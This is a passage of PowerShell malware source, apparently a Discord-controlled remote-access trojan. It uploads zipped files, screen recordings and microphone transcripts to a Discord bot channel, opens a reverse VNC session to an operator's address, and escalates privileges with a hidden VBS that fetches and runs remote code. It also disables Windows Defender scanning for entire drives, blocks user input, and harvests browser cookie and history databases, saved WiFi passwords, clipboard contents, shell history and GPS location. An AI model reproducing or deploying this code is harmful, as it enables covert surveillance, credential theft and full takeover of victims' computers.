$zipArchive = [System.IO.Compression.ZipFile]::Open($zipFilePath, 'Create')
}
$entryName = $file.FullName.Substring($folder.Length + 1)
[System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($zipArchive, $file.FullName, $entryName)
$currentZipSize += $fileSize
PullMsg
if ($response -like "kill") {
sendMsg -Message ":file_folder: ``Exfiltration Stopped`` :octagonal_sign:"
$script:previouscmd = $response
break
}
}
}
}
$zipArchive.Dispose()
sendFile -sendfilePath $zipFilePath | Out-Null
sleep 5
Remove-Item -Path $zipFilePath -Force
}
Function Upload{
param ([string[]]$Path)
if (Test-Path -Path $path){
$extension = [System.IO.Path]::GetExtension($path)
if ($extension -eq ".exe" -or $extension -eq ".msi") {
$tempZipFilePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.IO.Path]::GetFileName($path))
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($path, $tempZipFilePath)
curl.exe -F file1=@"$tempZipFilePath" $hookurl | Out-Null
sleep 1
Rm -Path $tempZipFilePath -Recurse -Force
}else{
sendFile -sendfilePath $Path | Out-Null
}
}
}
Function SpeechToText {
Add-Type -AssemblyName System.Speech
$speech = New-Object System.Speech.Recognition.SpeechRecognitionEngine
$grammar = New-Object System.Speech.Recognition.DictationGrammar
$speech.LoadGrammar($grammar)
$speech.SetInputToDefaultAudioDevice()
while ($true) {
$result = $speech.Recognize()
if ($result) {
$results = $result.Text
Write-Output $results
sendMsg -Message "``````$results``````"
}
PullMsg
if ($response -like "kill") {
$script:previouscmd = $response
break
}
}
}
Function StartUvnc{
param([string]$ip,[string]$port)
sendMsg -Message ":arrows_counterclockwise: ``Starting UVNC Client..`` :arrows_counterclockwise:"
$tempFolder = "$env:temp\vnc"
$vncDownload = "https://github.com/beigeworm/assets/raw/main/winvnc.zip"
$vncZip = "$tempFolder\winvnc.zip"
if (!(Test-Path -Path $tempFolder)) {
New-Item -ItemType Directory -Path $tempFolder | Out-Null
}
if (!(Test-Path -Path $vncZip)) {
Iwr -Uri $vncDownload -OutFile $vncZip
}
sleep 1
Expand-Archive -Path $vncZip -DestinationPath $tempFolder -Force
sleep 1
rm -Path $vncZip -Force
$proc = "$tempFolder\winvnc.exe"
Start-Process $proc -ArgumentList ("-run")
sleep 2
Start-Process $proc -ArgumentList ("-connect $ip::$port")
}
Function RecordScreen{
param ([int[]]$t)
$Path = "$env:Temp\ffmpeg.exe"
If (!(Test-Path $Path)){
GetFfmpeg
}
sendMsg -Message ":arrows_counterclockwise: ``Recording screen for $t seconds..`` :arrows_counterclockwise:"
$mkvPath = "$env:Temp\ScreenClip.mp4"
if ($t.Length -eq 0){$t = 10}
.$env:Temp\ffmpeg.exe -f gdigrab -framerate 10 -t 20 -i desktop -vcodec libx264 -preset fast -crf 18 -pix_fmt yuv420p -movflags +faststart $mkvPath
# .$env:Temp\ffmpeg.exe -f gdigrab -t 10 -framerate 30 -i desktop $mkvPath
sendFile -sendfilePath $mkvPath | Out-Null
sleep 5
rm -Path $mkvPath -Force
}
# --------------------------------------------------------------- ADMIN FUNCTIONS ------------------------------------------------------------------------
Function IsAdmin{
If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {
sendMsg -Message ":octagonal_sign: ``Not Admin!`` :octagonal_sign:"
}
else{
sendMsg -Message ":white_check_mark: ``You are Admin!`` :white_check_mark:"
}
}
Function Elevate{
$tobat = @"
Set WshShell = WScript.CreateObject(`"WScript.Shell`")
WScript.Sleep 200
If Not WScript.Arguments.Named.Exists(`"elevate`") Then
CreateObject(`"Shell.Application`").ShellExecute WScript.FullName _
, `"`"`"`" & WScript.ScriptFullName & `"`"`" /elevate`", `"`", `"runas`", 1
WScript.Quit
End If
WshShell.Run `"powershell.exe -NonI -NoP -Ep Bypass -C `$tk='$token'; irm https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1 | iex`", 0, True
"@
$pth = "C:\Windows\Tasks\service.vbs"
$tobat | Out-File -FilePath $pth -Force
try{
& $pth
Sleep 7
rm -Path $pth
sendMsg -Message ":white_check_mark: ``UAC Prompt sent to the current user..`` :white_check_mark:"
exit
}
catch{
Write-Host "FAILED"
}
}
Function ExcludeCDrive {
Add-MpPreference -ExclusionPath C:\
sendMsg -Message ":white_check_mark: ``C:/ Drive Excluded`` :white_check_mark:"
}
Function ExcludeALLDrives {
Add-MpPreference -ExclusionPath C:\
Add-MpPreference -ExclusionPath D:\
Add-MpPreference -ExclusionPath E:\
Add-MpPreference -ExclusionPath F:\
Add-MpPreference -ExclusionPath G:\
sendMsg -Message ":white_check_mark: ``All Drives C:/ - G:/ Excluded`` :white_check_mark:"
}
Function EnableIO{
$signature = '[DllImport("user32.dll", SetLastError = true)][return: MarshalAs(UnmanagedType.Bool)]public static extern bool BlockInput(bool fBlockIt);'
Add-Type -MemberDefinition $signature -Name User32 -Namespace Win32Functions
[Win32Functions.User32]::BlockInput($false)
sendMsg -Message ":white_check_mark: ``IO Enabled`` :white_check_mark:"
}
Function DisableIO{
$signature = '[DllImport("user32.dll", SetLastError = true)][return: MarshalAs(UnmanagedType.Bool)]public static extern bool BlockInput(bool fBlockIt);'
Add-Type -MemberDefinition $signature -Name User32 -Namespace Win32Functions
[Win32Functions.User32]::BlockInput($true)
sendMsg -Message ":octagonal_sign: ``IO Disabled`` :octagonal_sign:"
}
# =============================================================== MAIN FUNCTIONS =========================================================================
# Scriptblock for info + loot to discord
$dolootjob = {
param([string]$token,[string]$LootID)
function sendFile {
param([string]$sendfilePath)
$url = "https://discord.com/api/v10/channels/$LootID/messages"
$webClient = New-Object System.Net.WebClient
$webClient.Headers.Add("Authorization", "Bot $token")
if ($sendfilePath) {
if (Test-Path $sendfilePath -PathType Leaf) {
$response = $webClient.UploadFile($url, "POST", $sendfilePath)
Write-Host "Attachment sent to Discord: $sendfilePath"
} else {
Write-Host "File not found: $sendfilePath"
}
}
}
function sendMsg {
param([string]$Message)
$url = "https://discord.com/api/v10/channels/$lootID/messages"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", "Bot $token")
if ($Message) {
$jsonBody = @{
"content" = "$Message"
"username" = "$env:computername"
} | ConvertTo-Json
$wc.Headers.Add("Content-Type", "application/json")
$response = $wc.UploadString($url, "POST", $jsonBody)
$message = $null
}
}
Function BrowserDB {
sendMsg -Message ":arrows_counterclockwise: ``Getting Browser DB Files..`` :arrows_counterclockwise:"
$temp = [System.IO.Path]::GetTempPath()
$tempFolder = Join-Path -Path $temp -ChildPath 'dbfiles'
$googledest = Join-Path -Path $tempFolder -ChildPath 'google'
$mozdest = Join-Path -Path $tempFolder -ChildPath 'firefox'
$edgedest = Join-Path -Path $tempFolder -ChildPath 'edge'
New-Item -Path $tempFolder -ItemType Directory -Force
sleep 1
New-Item -Path $googledest -ItemType Directory -Force
New-Item -Path $mozdest -ItemType Directory -Force
New-Item -Path $edgedest -ItemType Directory -Force
sleep 1
Function CopyFiles {
param ([string]$dbfile,[string]$folder,[switch]$db)
$filesToCopy = Get-ChildItem -Path $dbfile -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' -or $_.Name -like 'formhistory.sqlite' -or $_.Name -like 'places.sqlite' -or $_.Name -like 'cookies.sqlite'}
foreach ($file in $filesToCopy) {
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
if ($db -eq $true){
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db'
}
else{
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension
}
$destination = Join-Path -Path $folder -ChildPath $newFileName
Copy-Item -Path $file.FullName -Destination $destination -Force
}
}
$script:googleDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data"
$script:firefoxDir = Get-ChildItem -Path "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles" -Directory | Where-Object { $_.Name -like '*.default-release' };$firefoxDir = $firefoxDir.FullName
$script:edgeDir = "$Env:USERPROFILE\AppData\Local\Microsoft\Edge\User Data"
copyFiles -dbfile $googleDir -folder $googledest -db
copyFiles -dbfile $firefoxDir -folder $mozdest
copyFiles -dbfile $edgeDir -folder $edgedest -db
$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "dbfiles.zip")
Compress-Archive -Path $tempFolder -DestinationPath $zipFileName
Remove-Item -Path $tempFolder -Recurse -Force
sendFile -sendfilePath $zipFileName
sleep 1
Remove-Item -Path $zipFileName -Recurse -Force
}
Function SystemInfo{
sendMsg -Message ":computer: ``Gathering System Information for $env:COMPUTERNAME`` :computer:"
Add-Type -AssemblyName System.Windows.Forms
# WMI Classes
$systemInfo = Get-WmiObject -Class Win32_OperatingSystem
$userInfo = Get-WmiObject -Class Win32_UserAccount
$processorInfo = Get-WmiObject -Class Win32_Processor
$computerSystemInfo = Get-WmiObject -Class Win32_ComputerSystem
$userInfo = Get-WmiObject -Class Win32_UserAccount
$videocardinfo = Get-WmiObject Win32_VideoController
$Hddinfo = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, FileSystem, @{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,FileSystem,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; } ;$Hddinfo=($Hddinfo| Out-String) ;$Hddinfo = ("$Hddinfo").TrimEnd("")
$RamInfo = Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)}
$processor = "$($processorInfo.Name)"
$gpu = "$($videocardinfo.Name)"
$DiskHealth = Get-PhysicalDisk | Select-Object DeviceID, FriendlyName, OperationalStatus, HealthStatus; $DiskHealth = ($DiskHealth | Out-String)
$ver = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').DisplayVersion
# User Information
$fullName = $($userInfo.FullName) ;$fullName = ("$fullName").TrimStart("")
$email = (Get-ComputerInfo).WindowsRegisteredOwner
$systemLocale = Get-WinSystemLocale;$systemLanguage = $systemLocale.Name
$userLanguageList = Get-WinUserLanguageList;$keyboardLayoutID = $userLanguageList[0].InputMethodTips[0]
$OSString = "$($systemInfo.Caption)"
$OSArch = "$($systemInfo.OSArchitecture)"
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
$users = "$($userInfo.Name)"
$userString = "`nFull Name : $($userInfo.FullName)"
$clipboard = Get-Clipboard
# System Information
$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi]($_.Dependent)} | Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table; $usbdevices = ($COMDevices| Out-String)
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath; $process = ($process| Out-String)
$service=Get-CimInstance -ClassName Win32_Service | select State,Name,StartName,PathName | Where-Object {$_.State -like 'Running'}; $service = ($service | Out-String)
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize; $software = ($software| Out-String)
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion
$pshist = "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt";$pshistory = Get-Content $pshist -raw ;$pshistory = ($pshistory | Out-String)
$RecentFiles = Get-ChildItem -Path $env:USERPROFILE -Recurse -File | Sort-Object LastWriteTime -Descending | Select-Object -First 100 FullName, LastWriteTime;$RecentFiles = ($RecentFiles | Out-String)
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;$Width = $Screen.Width;$Height = $Screen.Height;$screensize = "${width} x ${height}"
# Current System Metrics
function Get-PerformanceMetrics {
$cpuUsage = Get-Counter '\Processor(_Total)\% Processor Time' | Select-Object -ExpandProperty CounterSamples | Select-Object CookedValue
$memoryUsage = Get-Counter '\Memory\% Committed Bytes In Use' | Select-Object -ExpandProperty CounterSamples | Select-Object CookedValue
$diskIO = Get-Counter '\PhysicalDisk(_Total)\Disk Transfers/sec' | Select-Object -ExpandProperty CounterSamples | Select-Object CookedValue
$networkIO = Get-Counter '\Network Interface(*)\Bytes Total/sec' | Select-Object -ExpandProperty CounterSamples | Select-Object CookedValue
return [PSCustomObject]@{
CPUUsage = "{0:F2}" -f $cpuUsage.CookedValue
MemoryUsage = "{0:F2}" -f $memoryUsage.CookedValue
DiskIO = "{0:F2}" -f $diskIO.CookedValue
NetworkIO = "{0:F2}" -f $networkIO.CookedValue
}
}
$metrics = Get-PerformanceMetrics
$PMcpu = "CPU Usage: $($metrics.CPUUsage)%"
$PMmu = "Memory Usage: $($metrics.MemoryUsage)%"
$PMdio = "Disk I/O: $($metrics.DiskIO) transfers/sec"
$PMnio = "Network I/O: $($metrics.NetworkIO) bytes/sec"
# Saved WiFi Network Info
$outssid = ''
$a=0
$ws=(netsh wlan show profiles) -replace ".*:\s+"
foreach($s in $ws){
if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "<None>" -And $s.length -gt 5){
$ssid=$s.Trim()
if($s -Match ":"){
$ssid=$s.Split(":")[1].Trim()
}
$pw=(netsh wlan show profiles name=$ssid key=clear)
$pass="None"
foreach($p in $pw){
if($p -Match "Key Content"){
$pass=$p.Split(":")[1].Trim()
$outssid+="SSID: $ssid | Password: $pass`n-----------------------`n"
}
}
}
$a++
}
# GPS Location Info
Add-Type -AssemblyName System.Device
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher
$GeoWatcher.Start()
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
Sleep -M 100
}
if ($GeoWatcher.Permission -eq 'Denied'){
$GPS = "Location Services Off"
}
else{
$GL = $GeoWatcher.Position.Location | Select Latitude,Longitude
$GL = $GL -split " "
$Lat = $GL[0].Substring(11) -replace ".$"
$Lon = $GL[1].Substring(10) -replace ".$"
$GPS = "LAT = $Lat LONG = $Lon"
}
function EnumNotepad{
$appDataDir = [Environment]::GetFolderPath('LocalApplicationData')